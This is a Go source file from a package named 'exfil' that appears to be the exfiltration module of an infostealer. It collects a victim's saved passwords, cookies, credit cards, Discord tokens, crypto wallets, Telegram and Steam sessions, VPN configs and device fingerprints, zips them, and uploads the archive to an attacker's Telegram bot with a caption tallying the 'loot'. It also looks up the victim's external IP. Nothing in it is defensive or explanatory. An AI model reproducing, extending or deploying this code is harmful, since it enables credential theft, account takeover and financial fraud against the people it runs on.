package exfil import ( "bytes" "context" "encoding/json" "fmt" "io" "mime/multipart" "net/http" "os" "path/filepath" "strings" "time" "recovery/recovery" "recovery/recovery/types" "recovery/recovery/ziputil" ) type TelegramConfig struct { BotToken string ChatID string } func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error { url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken) hostname, _ := os.Hostname() username := os.Getenv("USERNAME") if username == "" { username = os.Getenv("USER") } ip := getExternalIP() caption := fmt.Sprintf(`✨ New Log Received ✨ 💻 User: %s@%s 🌍 IP: %s 📊 Main Loot: 🔑 Passwords: %d 🍪 Cookies: %d 💰 Wallets: %d 📦 Additional Data: 💬 Messengers: %d 🔐 Extensions: %d 🔑 Keys: %d 🎮 Gaming: %d 🌐 VPNs: %d 📁 Files: %d`, username, hostname, ip, counts["passwords"], counts["cookies"], counts["wallets"], counts["telegram"], counts["extensions"], counts["keys"], counts["gaming"], counts["vpns"], counts["files"]) var buf bytes.Buffer writer := multipart.NewWriter(&buf) _ = writer.WriteField("chat_id", cfg.ChatID) _ = writer.WriteField("caption", caption) _ = writer.WriteField("parse_mode", "HTML") part, err := writer.CreateFormFile("document", filename) if err != nil { return err } _, _ = part.Write(zipData) writer.Close() req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf) if err != nil { return err } req.Header.Set("Content-Type", writer.FormDataContentType()) client := &http.Client{Timeout: 120 * time.Second} resp, err := client.Do(req) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { body, _ := io.ReadAll(resp.Body) return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body)) } return nil } func getExternalIP() string { client := &http.Client{Timeout: 5 * time.Second} resp, err := client.Get("https://api.ipify.org") if err != nil { return "unknown" } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) return strings.TrimSpace(string(body)) } func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) { result, zipData, counts, _, err := CollectResultAndZip(ctx) if err != nil { return nil, nil, err } _ = result return zipData, counts, nil } // CollectResultAndZip collects a full snapshot and returns: // - the typed result (for the panel) // - a single zip of every json+dump for Telegram // - per-category counts // - individual binary payloads (wallet/telegram/steam zips) for the panel func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) { opts := types.CollectOptions{ Browsers: true, Passwords: true, Cookies: true, Autofill: true, History: true, Bookmarks: true, CreditCards: true, Discord: true, Files: true, Wallets: true, Telegram: true, Keys: true, Apps: true, Gaming: true, VPNs: true, } tmpDir, err := os.MkdirTemp("", "kematian-*") if err != nil { return nil, nil, nil, nil, err } defer os.RemoveAll(tmpDir) result, err := recovery.Collect(ctx, opts, nil) if err != nil { return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err) } extensions := recovery.ScanExtensions() result.Extensions = extensions counts := map[string]int{ "passwords": len(result.Passwords), "cookies": len(result.Cookies), "wallets": len(result.Wallets), "telegram": len(result.Telegram), "extensions": len(result.Extensions), "keys": len(result.Keys), "gaming": 0, "vpns": 0, "files": len(result.Files), } if result.Gaming != nil { if result.Gaming.Steam != nil { counts["gaming"]++ } counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay) } if result.VPNs != nil { counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad) } writeJSON := func(name string, data interface{}) error { jsonData, err := json.MarshalIndent(data, "", " ") if err != nil { return err } return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644) } _ = writeJSON("passwords", result.Passwords) _ = writeJSON("cookies", result.Cookies) _ = writeJSON("autofill", result.Autofill) _ = writeJSON("history", result.History) _ = writeJSON("bookmarks", result.Bookmarks) _ = writeJSON("credit_cards", result.CreditCards) _ = writeJSON("discord_tokens", result.DiscordTokens) _ = writeJSON("extensions", result.Extensions) _ = writeJSON("wallets", result.Wallets) _ = writeJSON("telegram", result.Telegram) _ = writeJSON("keys", result.Keys) _ = writeJSON("app_credentials", result.AppCredentials) _ = writeJSON("gaming", result.Gaming) _ = writeJSON("vpns", result.VPNs) var steamTokens []types.SteamTokenResult if result.Gaming != nil && result.Gaming.Steam != nil { steamTokens = result.Gaming.Steam.SteamTokens } _ = writeJSON("steam_tokens", steamTokens) _ = writeJSON("fingerprint", recovery.CollectFingerprint()) _ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint()) _ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)}) // Individual payloads are shipped to the panel directly so it can host the // actual login files (wallet dirs, telegram sessions, steam session). var payloads []types.Payload for _, wallet := range result.Wallets { if wallet.Path != "" { zipData, err := recovery.ZipDirectory(wallet.Path) if err == nil && len(zipData) > 0 { fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name)) os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) payloads = append(payloads, types.Payload{ Category: "wallet", Name: wallet.Name, Filename: fname, Size: len(zipData), Data: zipData, }) } } } for _, tg := range result.Telegram { if tg.Path != "" { zipData, err := recovery.ZipTelegram(tg.Path) if err == nil && len(zipData) > 0 { fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account)) os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) payloads = append(payloads, types.Payload{ Category: "telegram", Name: tg.Account, Filename: fname, Size: len(zipData), Data: zipData, }) } } } if result.Gaming != nil { if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" { zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath) if err == nil && len(zipData) > 0 { fname := "steam_session.zip" os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) payloads = append(payloads, types.Payload{ Category: "steam", Name: "steam", Filename: fname, Size: len(zipData), Data: zipData, }) } } } zipData, err := ziputil.ZipDirectory(tmpDir) if err != nil { return nil, nil, nil, nil, err } return result, zipData, counts, payloads, nil } func sanitizeFilename(name string) string { replacer := strings.NewReplacer( "/", "_", "\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_", " ", "_", ) return replacer.Replace(name) }